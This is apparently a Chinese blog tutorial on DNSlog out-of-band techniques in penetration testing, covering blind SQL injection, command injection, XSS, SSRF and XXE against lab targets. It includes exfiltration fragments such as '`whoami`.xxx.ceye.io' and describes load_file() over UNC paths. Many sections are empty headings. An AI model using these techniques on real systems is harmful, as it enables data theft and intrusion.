天天看点

DNSlog在渗透测试中的应用

dns(域名解析):

域名解析是把域名指向网站空间IP,让人们通过注册的域名可以方便地访问到网站的一种服务。IP地址是网络上标识站点的数字地址,为了方便记忆,采用域名来代替IP地址标识站点地址。域名解析就是域名到IP地址的转换过程。域名的解析工作由DNS服务器完成。

域名解析也叫域名指向、服务器设置、域名配置以及反向IP登记等等。说得简单点就是将好记的域名解析成IP,服务由DNS服务器完成,是把域名解析到一个IP地址,然后在此IP地址的主机上将一个子目录与域名绑定。

互联网中的地址是数字的IP地址,域名解析的作用主要就是为了便于记忆。(摘自百度百科)

dns服务器的端口是53。

我们输入域名之后 我们的本地域名服务器会把在自身服务器里面查询是否存在ip地址 如果没有则发送到根域名服务器 如果根域名服务器里面有对应的记录则返回 如果没有则告诉本地域名服务器去向顶级域名服务器查找。

dns在解析的时候会留下记录。

简单来说:

DNSlog在渗透测试中的应用

当dns服务器是我们自己的时,我们就可以通过查看日志来查询一些信息。

介绍一下UNC

什么是UNC路径? UNC是一种命名惯例, 主要用于在Microsoft Windows上指定和映射网络驱动器. UNC命名惯例最多被应用于在局域网中访问文件服务器或者打印机。我们日常常用的网络共享文件就是这个方式。 UNC路径就是类似\softer这样的形式的网络路径。它符合 \servername\sharename 格式,其中 servername 是服务器名,sharename 是共享资源的名称。 目录或文件的 UNC 名称可以包括共享名称下的目录路径,格式为:\servername\sharename\directory\filename。 例如把自己电脑的文件共享,你会获得如下路径,这就是UNC路径 //iZ53sl3r1890u7Z/Users/Administrator/Desktop/111.txt

sql注入

命令执行

XSS盲打

SSRF盲打

XXE盲打

其他

sqlmap可以使用--dns-domain参数实现自动化dns注入

条件:

原理:

使用函数<code>load_file()</code>,读取数据通过dnslog外带出去,但是文件大小要小于<code>max_allowed_packet()</code>(限制server接收的数据包大小,默认为1MB),如果该文件不存在或无法读取,因为前面的条件之一不满足,函数返回 NULL。

利用的是windows的UNC,访问网络共享文件的特性。

DNSlog在渗透测试中的应用

适用于:

可用于联合(union select...),布尔/时间( and (select...) if((select .... ),1,1) ) 的无回显盲注,命令盲注(%os%.xxx.ceye.io `whoami`.xxx.ceye.io)

实测心得:

注意点:

判断是否可用

DNSlog在渗透测试中的应用
DNSlog在渗透测试中的应用

SQL盲注语句

DNSlog在渗透测试中的应用
DNSlog在渗透测试中的应用

1.SQL Server

2.Oracle

3.MySQL

4.PostgreSQL

windows 用%variable% linux 用`variable` 反引号

使用dvwa靶场的命令注入模块实验,假设该注入点无回显

DNSlog在渗透测试中的应用

查询到了我们输入的变量:

DNSlog在渗透测试中的应用

windows常用变量:

linux常用变量

注:这种方式可以绕过csp

通过盲打,当出发这浏览器访问预设置的链接地址,如果盲打成功,会在我们DNS服务器收到解析请求。

使用pikachu的xss盲打模块

DNSlog在渗透测试中的应用
DNSlog在渗透测试中的应用

收到请求说明触发了插入的js代码。

将url换成我们的DNS服务器,通过查看DNFlog平台日志看是否有服务器ip判断是否有SSRF漏洞

使用参数实体,引用外部实体文件(目的地址是我们DNS服务器),二级或三级域名写成 我们想要的信息。

Struts2

FFMpeg

Weblogic

ImageMagick

Resin

Discuz